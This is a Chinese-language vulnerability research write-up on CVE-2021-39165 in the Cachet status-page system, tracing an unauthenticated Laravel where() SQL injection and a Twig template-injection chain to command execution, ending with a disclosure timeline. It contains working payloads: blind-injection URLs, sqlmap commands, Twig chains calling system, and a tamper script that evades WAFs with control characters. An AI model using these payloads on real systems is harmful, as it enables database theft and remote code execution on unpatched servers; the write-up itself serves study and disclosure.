51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

CVE-2021-39165: 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅

事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程。本文提到的漏洞《Cachet SQL注入漏洞(CVE-2021-39165)》已经修复,也请读者勿使用该漏洞进行未授权测试,否则作者不承担任何责任

0x01 故事的起源 {#0x01}

一个百无聊赖的周日晚上,我在知识星球闲逛,发现有一个匿名用户一连向我提出了两个问题:

image-20210720025643830.png

本来不是很想回答这两个问题,一是感觉比较基础,二是现在大部分人都卷Java去了,关注PHP的其实不多。不过我搜索了一下自己的星球,发现我的确没有讲过如何调试PHP代码,那么回答一下这个问题也未尝不可。

既然如此,我就打开自己常用的PHP IDE之一PHPStorm(另一款是VSCode),看了看硬盘里落满灰尘的PHP代码,要不就是几年前的版本要不就是没法做演示的非开源项目。如果要新写一篇教程,最好还是上网上找个新的CMS做演示。

于是我打开了Github,搜索"PHP"关键字,点进了PHP这个话题。PHP话题下有几类开源项目,一是一些PHP框架和库,排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等;二是CMS和网站应用,排在前面的有matomo、nextcloud、monica、Cachet等;三是一些README和教学项目,比如awesome-php、DesignPatternsPHP等。

做演示自然选择开箱即用的第二类,于是我挑了一个功能常见且简单的Cachet。

当天晚上我自己搭建、调试、运行起了Cachet这个CMS,并写了一篇简单的教程发在星球里:

image-20210720032613219.png

本来这个故事到此就结束了,但是不安分的我当时就在想,既然搭都搭起来了,那不如就对其做一遍审计吧。

0x02 Cachet代码审计 {#0x02-cachet}

Cachet是一款基于Laravel框架开发的状态页面(Statuspage)系统。Statuspage是云平台流行后慢慢兴起的一类系统,作用是向外界展示当前自己各个服务是否在正常运行。国外很多大型互联网平台都有Statuspage,最著名的有 GithubTwitterFacebookAmazon AWS等。

Statuspage中占据领导地位的是Statuspage.io,隶属于Atlassian。但毕竟这是一个付费的系统,Cachet得益于自己开源的优势,也有不少拥趸,在Github上有12k多关注。

Cachet最新的稳定版本是2.3.18,基于Laravel 5.2开发,我将其拉下来安装好后开始审计。

经过验证,dev版本的代码可能有所差异(主要是后台getshell部分的POC利用链不一样),本文仅基于稳定版做审计。

Laravel框架的CMS审计,我主要关注下面几个点:

  • 网站路由
  • 控制器(app/Http/Controllers)
  • 中间件(app/Http/Middleware)
  • Model(app/Models)
  • 网站配置(config)
  • 第三方扩展(composer.json)

先从路由开始看起,以app/Http/Routes/StatusPageRoutes.php为例:

$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
    $router->get('/', [
        'as'   => 'status-page',
        'uses' => 'StatusPageController@showIndex',
    ]);

    $router->get('incident/{incident}', [
        'as'   => 'incident',
        'uses' => 'StatusPageController@showIncident',
    ]);

    $router->get('metrics/{metric}', [
        'as'   => 'metrics',
        'uses' => 'StatusPageController@getMetrics',
    ]);

    $router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});

其中可以看出的信息是:

  • 某个path所对应的Controller和方法
  • 整个模块使用的中间件

前者比较好理解,中间件的作用通常是做权限的校验、全局信息的提取等。这个route组合用了三个中间件web、ready和localize。我们可以在app/Http/Kernel.php找到这三个名字对应的中间件类,他们的作用是:

  • web是多个中间件的组合,作用主要是设置Cookie和session、校验csrf token等
  • ready用于检查当前CMS是否有初始化,如果没有,则跳到初始化的页面
  • localize主要用于根据请求中的Accept-Language来展示不同语言的页面

接着我会主要关注那些不校验权限的Controller(就是没有admin和auth中间件的Controller)。我关注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法:

/**
  * Get all components.
  *
  * @return \Illuminate\Http\JsonResponse
  */
public function getComponents()
{
    if (app(Guard::class)->check()) {
        $components = Component::query();
    } else {
        $components = Component::enabled();
    }

    $components->search(Binput::except(['sort', 'order', 'per_page']));

    if ($sortBy = Binput::get('sort')) {
        $direction = Binput::has('order') && Binput::get('order') == 'desc';

        $components->sort($sortBy, $direction);
    }

    $components = $components->paginate(Binput::get('per_page', 20));

    return $this->paginator($components, Request::instance());
}

其中有两个关键点:

  • $components->search(Binput::except(['sort', 'order', 'per_page']));
  • $components->sort($sortBy, $direction);

sort和search方法都不是Laravel自带的Model方法,这种情况一般是自定义的scope。scope是定义在Model中可以被重用的方法,他们都以scope开头。我们可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法:

trait SortableTrait
{
    /**
     * Adds a sort scope.
     *
     * @param \Illuminate\Database\Eloquent\Builder $query
     * @param string                                $column
     * @param string                                $direction
     *
     * @return \Illuminate\Database\Eloquent\Builder
     */
    public function scopeSort(Builder $query, $column, $direction)
    {
        if (!in_array($column, $this->sortable)) {
            return $query;
        }

        return $query->orderBy($column, $direction);
    }
}

$column经过了in_array的校验,$direction传入的是bool类型,这两者均无法传入恶意参数。

我们再看看scopeSearch方法,在app/Models/Traits/SearchableTrait.php中:

<?php
trait SearchableTrait
{
    /**
     * Adds a search scope.
     *
     * @param \Illuminate\Database\Eloquent\Builder $query
     * @param array                                 $search
     *
     * @return \Illuminate\Database\Eloquent\Builder
     */
    public function scopeSearch(Builder $query, array $search = [])
    {
        if (empty($search)) {
            return $query;
        }

        if (!array_intersect(array_keys($search), $this->searchable)) {
            return $query;
        }

        return $query->where($search);
    }
}

Cachet在调用search时传入的是Binput::except(['sort', 'order', 'per_page']),这个返回值是将用户完整的GPC输入除掉sort、order、per_page三个key组成的数组。也就是说,传入scopeSearch的这个$search数组的键、值都是用户可控的。

不过,可见这里使用了array_intersect函数对$search数组进行判断,如果返回为false,则不会继续往下执行。

大概看了一圈Cachet的代码,没有太多功能点。总结起来它的特点是:

  • 有一部分代码逻辑在Controller中,但其还有大量逻辑放在CommandHandler中。
    • "Commands & Handlers"逻辑用于在Laravel中实现命令模式
    • 这个设计模式分割了输入和逻辑操作(Source和Sink),让代码审计变得麻烦了许多
  • 整站前台的功能很少,权限检查在中间件中,配置如下
    • 前台和API中的读取操作(GET)不需要用户权限
    • API中的写入操作(POST、PUT、DELETE)需要用户权限
    • 后台所有操作都需要用户权限
  • 一些特殊操作都会经过逻辑判断,比如上文说到的两个操作,作者相对比较有安全意识
  • Cachet默认使用Laravel-Binput做用户输入,而这个库对主要是用于做安全过滤,但这个过滤操作也为后面实战中绕过WAF提供了极大帮助

相信大家审计中经常会遇到类似情况,前台功能很少导致进展不下去,那么多看看框架部分的代码也许能发现一些问题。

遇到困难不要慌,去冰箱里拿了一瓶元气森林冷静冷静,重新回来看代码。回看前面的scopeSearch方法,我突然发现了问题:

if (!array_intersect(array_keys($search), $this->searchable)) {
    return $query;
}

return $query->where($search);

array_intersect这个函数,他的功能是计算两个输入数组的交集 ,乍一看这里处理好像经过了校验,用户输入的数组的key如果不在$this->searchable中,就无法取到交集。

但是可以想象一下,我的输入中只要有一个key在$this->searchable中,那么这里的交集就可以取到至少一个值,这个if语句就不会成立。所以,这个检查形同虚设,用户输入的数组$search被完整传入where()语句中。

0x03 Laravel代码审计 {#0x03-laravel}

熟悉Laravel的同学对where()应该不陌生,简单介绍一下用法。我们可以通过传入两个参数key和value,来构造一个WHERE条件:

DB::table('dual')->where('id', 1);
// 生成的WHERE条件是:WHERE id = 1

如果传入的是三个参数,则第二个参数会认为是条件表达式中的符号,比如:

DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是:WHERE id > 18

当然where也是支持传入数组的,我看可以将多个条件组合成一个数组传入where函数中,比如:

DB::table('dual')->where([
    ['id', '>', '18'],
    ['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是:WHERE id > 18 AND title LIKE '%example%'

那么,思考下面三个代码在Laravel中是否可能导致SQL注入:

  • where($input, '=', 1) 当where的第一个参数被用户控制
  • where('id', $input, 1) 当where的第二个参数被用户控制,且存在第三个参数
  • where($input) 当where只有一个参数且被用户控制

这三个代码对应着不同情况,第一种是key被控制,第二种是符号被控制,第三种是整个条件都被控制。

测试的过程就不说了,经过测试,我获取了下面的结果:

  • 当第一个参数key可控时,传入任意字符串都会报错,具体的错误为"unknown column",但类似反引号、双引号这样的定界符将会被转义,所以无法逃逸出field字段进行注入
  • 当第二个参数符号可控时,输入非符号字符不会有任何报错,也不存在注入
  • 当整体可控时,相当于可以传入多个key、符号和value,但经过前两者的测试,key和符号位都是不能注入的,value就更不可能

仿佛又陷入了困境。

我尝试debug进入where()函数看了看它内部的实现,src/Illuminate/Database/Query/Builder.php

public function where($column, $operator = null, $value = null, $boolean = 'and')
{
    // If the column is an array, we will assume it is an array of key-value pairs
    // and can add them each as a where clause. We will maintain the boolean we
    // received when the method was called and pass it into the nested where.
    if (is_array($column)) {
        return $this->addArrayOfWheres($column, $boolean);
    }
    // ...
    // If the given operator is not found in the list of valid operators we will
    // assume that the developer is just short-cutting the '=' operators and
    // we will set the operators to '=' and set the values appropriately.
    if (! in_array(strtolower($operator), $this->operators, true) &&
        ! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
        list($value, $operator) = [$operator, '='];
    } 

当第一个参数是数组时,将会执行到addArrayOfWheres()方法。另外从上面的第二个if语句也可以看出,这里面对参数$operator做了校验,这也是其无法注入的原因。

跟进一下addArrayOfWheres()方法:

protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
    return $this->whereNested(function ($query) use ($column, $method) {
        foreach ($column as $key => $value) {
            if (is_numeric($key) && is_array($value)) {
                call_user_func_array([$query, $method], $value);
            } else {
                $query->$method($key, '=', $value);
            }
        }
    }, $boolean);
}

public function whereNested(Closure $callback, $boolean = 'and')
{
    $query = $this->forNestedWhere();

    call_user_func($callback, $query);

    return $this->addNestedWhereQuery($query, $boolean);
}

可以观察到,这里面有个很重要的回调,遍历了用户输入的第一个数组参数$column,当发现其键名是一个数字,且键值是一个数组时,将会调用[$query, $method],也就是$this->where(),并将完整的$value数组作为参数列表传入。

这个过程就是为了实现上面说到的where()的第三种用法:

DB::table('dual')->where([
    ['id', '>', '18'],
    ['title', 'LIKE', '%example%']
]);

所以,通过这个方法,我可以做到了一件事情:从控制where()的第一个参数,到能够完整控制where()的所有参数

那么,再回看where函数的参数列表:

public function where($column, $operator = null, $value = null, $boolean = 'and')

第四个$boolean参数就格外显眼了,这是控制WHERE条件连接逻辑的参数,默认是and。这个$boolean既不是SQL语句中的"键",也不是SQL语句中的"值",而就是SQL语句的代码,如果没有校验,一定存在SQL注入。

事实证明,这里并没有经过校验。我将debug模式打开,并注释了抑制报错的逻辑,即可在页面上看到SQL注入的报错:

image-20210725010451510.png

1[3]参数可以注入任何语句,所以这里存在一个SQL注入漏洞。而且因为这个API接口是GET请求,所以无需用户权限,这是一个无限制的前台SQL注入。

Laravel的这个数组特性可以类比于6年前我第一次发现的ThinkPHP3系列SQL注入。当时的ThinkPHP注入是我在乌云乃至安全圈站稳脚跟的一批漏洞,它开创了使用数组进行框架ORM注入的先河,其影响和其后续类似的漏洞也一直持续到今天。遗憾的是,Laravel的这个问题是出现在where()的第一个参数,官方并不认为这是框架的问题。

0x04 SQL注入利用 {#0x04-sql}

回到Cachet。默认情况下Cachet的任何报错都不会有详情,只会返回一个500错误。且Laravel不支持堆叠注入,那么要利用这个漏洞,就有两种方式:

  • 通过UNION SELECT注入直接获取数据
  • 通过BOOL盲注获取数据

UNION肯定是最理想的,但是这里无法使用,原因是用户的这个输入会经过两次字段数量不同的SQL语句,会导致其中至少有一个SQL语句在UNION SELECT的时候出错而退出。

Bool盲注没有任何问题,我本地是Postgres数据库,所以以其为例。

构造一个能够显示数据的请求:

http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+

image-20210725012822969.png

将and 1=1修改为and 1=2,数据消失了:

http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+

image-20210725012858248.png

说明盲注可以利用,于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload,而这个注入点需要前缀和后缀,需要对参数进行修改。

我先使用一个能够爆出数据的URL,比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+,在这个括号后面增加个星号,然后作为-u目标进行检测即可:

python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

image-20210725023329633.png

注入点被SQLMap识别了。因为表结构已经知道,成功获取用户、密码:

image-20210725015401331.png

0x05 后台代码审计 {#0x05}

这个注入漏洞的优势是无需用户权限,但劣势是无法堆叠执行,原因我在星球的这篇帖子里有介绍过(虽然帖子里说的是ThinkPHP)。主要是在初始化PDO的时候设置了PDO::ATTR_EMULATE_PREPARES为false,而数据库默认的参数化查询不允许prepare多个SQL语句。

无法堆叠执行的结果就是没法执行UPDATE语句,我只能通过注入获取一些信息,想要进一步执行代码,还需要继续审计。

接下来的审计我主要是在看后台逻辑,挖掘后台漏洞建议是黑盒结合白盒,这样会更快,原因是后台可能有很多常见的敏感操作,比如文件上传、编辑等,这些操作有时候可能直接抓包一改就能测出漏洞,都不需要代码审计了。

Cachet的后台还算相对安全,没有文件操作的逻辑,唯一一个上传逻辑是"Banner Image"的修改,但并不存在漏洞。

这时候我关注到了一个功能,Incident Templates,用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言:

image-20210725024228754.png

对于Twig模板的解析是在API请求中,用API创建或编辑Incident对象的时候会使用到Incident Templates,进而执行模板引擎。

利用时需要现在Web后台添加一个Incident Template,填写好Twig模板,记下名字。再发送下面这个数据包来执行名为"ssti"的模板,获得结果:

POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

visible=0&status=1&name=demo&template=ssti

其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是{{ 233 * 233 }}的Incident Template,渲染结果被成功返回在API的结果中:

image-20210725031324953.png

Twig是PHP的一个著名的模板引擎,相比于其他语言的模板引擎,它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制,而沙盒模式下只能使用白名单内的tag和filter。

Cachet中没有使用沙盒模式,所以我不做深入研究。普通模式想要执行恶意代码,需要借助一些内置的tag、filter,或者上下文中的危险对象。在Twig v1.41、v2.10和v3后,增加了mapfilter这两个filter,可以直接用来执行任意函数:

{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}

但是Cachet v2.3.18中使用的是v1.40.1,刚好不存在这两个filter。那么旧版本如何来利用呢?

PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template Injection》,里面介绍过当时的Twig模板注入方法:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

_self是Twig中的一个默认的上下文对象,指代的是当前Template,其中的env属性是一个Twig_Environment对象。Twig_Environment类的registerUndefinedFilterCallbackgetFilter就用来注册和执行回调函数,通过这两次调用,即可构造一个任意命令执行的利用链。

但是,这个执行命令的方法在Twig v1.20.0中被官方修复了:https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430,修复方法是发现object是当前对象时,则不进行属性的获取,下面这个if语句根本不会进去:

// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
    if (isset($object->$item) || array_key_exists((string) $item, $object)) {
        if ($isDefinedTest) {
            return true;
        }

        if ($this->env->hasExtension('sandbox')) {
            $this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
        }

        return $object->$item;
    }
}

这个修改逻辑是科学的,因为Twig中正常只允许访问一个对象的public属性和方法,但因为_self指向的是$this,而$this可以访问父类的protected属性,所以才绕过了对作用域的限制,访问到了env。这个修复对此作了加强,让_self的表现和其他对象相同了。

另外,_self.getEnvironment()原本也可以访问env,这个修复也一起被干掉了。

Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架,按照composer.lock中的版本号来肯定高于v1.20.0(实际是v1.40.1),也就是说,我也无法使用这个Payload做命令执行。

0x06 寻找Twig利用链与代码执行 {#0x06-twig}

Cachet中使用了下面这段代码来渲染Twig模板:

protected function parseIncidentTemplate($templateSlug, $vars)
{
    if ($vars === null) {
        $vars = [];
    }

    $this->twig->setLoader(new Twig_Loader_String());
    $template = IncidentTemplate::forSlug($templateSlug)->first();

    return $this->twig->render($template->template, $vars);
}

其中$vars是用户从POST中传入的一个数组,这意味着注入到模板中的变量只是简单的字符串数组,没有任何对象。再加上前文说到的_self对象也被限制了,我发现很难找到可以被利用的方法。

此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁,让Laravel框架可以直接使用twig模板引擎。

根据Laravel的依赖注入、控制反转的设计模式,如果要实现"桥梁"的功能,那么就需要编写一个Service Provider,在Service Provider中对目标对象进行初始化,并放在容器中。

我在rcrowe/twigbridge的ServiceProvider中下了断点,捋了捋Twig初始化的过程,发现一个有趣的点:

image-20210725062730839.png

baseTemplateClass不是默认的\Twig\Template,而是一个自定义的TwigBridge\Twig\TemplatebaseTemplateClass就是在模板中,_self指向的那个对象的基类,是一个很重要的类。

在src/Twig/Template.php中,我发现$context中有一个看起来很特殊的对象__env

/**
 * {@inheritdoc}
 */
public function display(array $context, array $blocks = [])
{
    if (!isset($context['__env'])) {
        $context = $this->env->mergeShared($context);
    }

    if ($this->shouldFireEvents()) {
        $context = $this->fireEvents($context);
    }

    parent::display($context, $blocks);
}

在此处下断点可以看到,这个__env是一个\Illuminate\View\Factory对象,原来是Twig共享了Laravel原生View模板引擎中的全局变量。

那么,我们可以找找\Illuminate\View\Factory类中是否有危险属性和函数。\Illuminate\Events\Dispatcher是Factory类的属性,其中存在一对事件监听函数:

public function listen($events, $listener, $priority = 0)
{
    foreach ((array) $events as $event) {
        if (Str::contains($event, '*')) {
            $this->setupWildcardListen($event, $listener);
        } else {
            $this->listeners[$event][$priority][] = $this->makeListener($listener);

            unset($this->sorted[$event]);
        }
    }
}

public function fire($event, $payload = [], $halt = false)
{
    // ...

    foreach ($this->getListeners($event) as $listener) {
        $response = call_user_func_array($listener, $payload);

它的限制主要是,回调函数必须是一个可以被自动创建与初始化的类方法,比如静态方法。我很快我找到了一对合适的回调\Symfony\Component\VarDumper\VarDumper,我们可以先调用setHandler将$handler设置成任意函数,再调用dump来执行:

class VarDumper
{
    private static $handler;

    public static function dump($var)
    {
        // ...
        return call_user_func(self::$handler, $var);
    }

    public static function setHandler(callable $callable = null)
    {
        $prevHandler = self::$handler;
        self::$handler = $callable;

        return $prevHandler;
    }
}

构造出的模板代码如下,成功执行任意命令:

{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}

image-20210725065830156.png

除了__env外,上下文中还被注入了一个app变量,这是一个\Illuminate\Foundation\Application对象,它的利用链就更简单了,因为其中有一个函数可以直接用来执行任意代码:

public function call($callback, array $parameters = [], $defaultMethod = null)
{
    if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
        return $this->callClass($callback, $parameters, $defaultMethod);
    }

    $dependencies = $this->getMethodDependencies($callback, $parameters);

    return call_user_func_array($callback, $dependencies);
}

所以,我构造了一个模板代码来执行任意PHP函数,这个方法相对简单很多:

{{ app.call('md5', ['123456']) }}

至此,我又搞定了后台代码执行。两个漏洞组合起来,就可以成功拿下Cachet系统权限。

0x07 走向Bug Bounty {#0x07-bug-bounty}

前面说过,国外大量大厂都会使用Statuspage,所以我跑了一下hackerone、bugcrowd中使用了Cachet系统的厂商:

image-20210720050854635.png

不多,大部分厂商还是在用Statuspage.io。

在实战中,我遇到了一个比较棘手的问题,大量厂商使用了WAF,这让GET型的注入变得很麻烦。解决这个问题的方法还是回归到代码审计中,Cachet获取用户输入是使用graham-campbell/binput,我在前面审计的时候发现其在获取输入的基础上会做一次过滤:

public function get($key, $default = null, $trim = true, $clean = true)
{
    $value = $this->request->input($key, $default);

    return $this->clean($value, $trim, $clean);
}

跟进clean()我发现这个库最终对用户的输入做了一次处理:

protected function process($str)
{
    $str = $this->removeInvisibleCharacters($str);
    //...
}

protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
    $nonDisplayables = [];

    if ($urlEncoded) {
        $nonDisplayables[] = '/%0[0-8bcef]/';
        $nonDisplayables[] = '/%1[0-9a-f]/';
    }

    $nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';

    do {
        $str = preg_replace($nonDisplayables, '', $str, -1, $count);
    } while ($count);

    return $str;
}

removeInvisibleCharacters()方法将输入中的所有控制字符给替换成空了。那么,这个特性可以用于绕过WAF。

正常的注入语句会被WAF拦截:

image-20210725074120676.png

在关键字OR中间插入一个控制字符%01,即可绕过WAF正常注入了:

image-20210725074208833.png

我写了一个简单的SQLMap Tamper来帮我进行这个处理:

#!/usr/bin/env python

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Add %01 to all the keyword

    >>> tamper("1 AND '1'='1")
    "1 A%01ND '1'='1"
    """

    payload_list = list(payload)
    offset = 0
    for g in KEYWORD_PATTERN.finditer(payload):
        start = g.start()
        end = g.end()
        m = (start + end) // 2

        payload_list.insert(offset + m, '%01')
        offset += 1

    return ''.join(payload_list)

使用这个tamper:

python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"

简单提交了几个有Bug Bounty的厂商,均已得到了确认:

image-20210725080218029.png

image-20210725080309827.png

image-20210829005620210.png

image-20210725080620845.png

漏洞时间线 {#_1}

本文涉及的漏洞已经提交给Cachet官方,但是官方开发者不是很活跃,一直没有回应。在issue中找到了一个fork的厂商,相对比较活跃,也可以联系到维护人,于是以fork厂商的身份对漏洞进行了通报。

以下是漏洞的生命时间线:

  • Jul 19, 2021 - 漏洞发现
  • Jul 20, 2021 - SQL注入提交给Laravel官方,Laravel并不认为是自己的问题
  • Jul 19 ~ jul 30, 2021 - 对hakcerone、bugcrowd上的厂商进行测试,并提交漏洞
  • Jul 27, 2021 - 漏洞提交给Cachet官方和Fork的维护者
  • Jul 27, 2021 - 发现Fork的项目在此之前意外修复过这个漏洞
  • Aug 27, 2021, 01:36 AM GMT+8 - 漏洞公告发布,确认编号CVE-2021-39165
赞(3)
未经允许不得转载:工具盒子 » CVE-2021-39165: 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅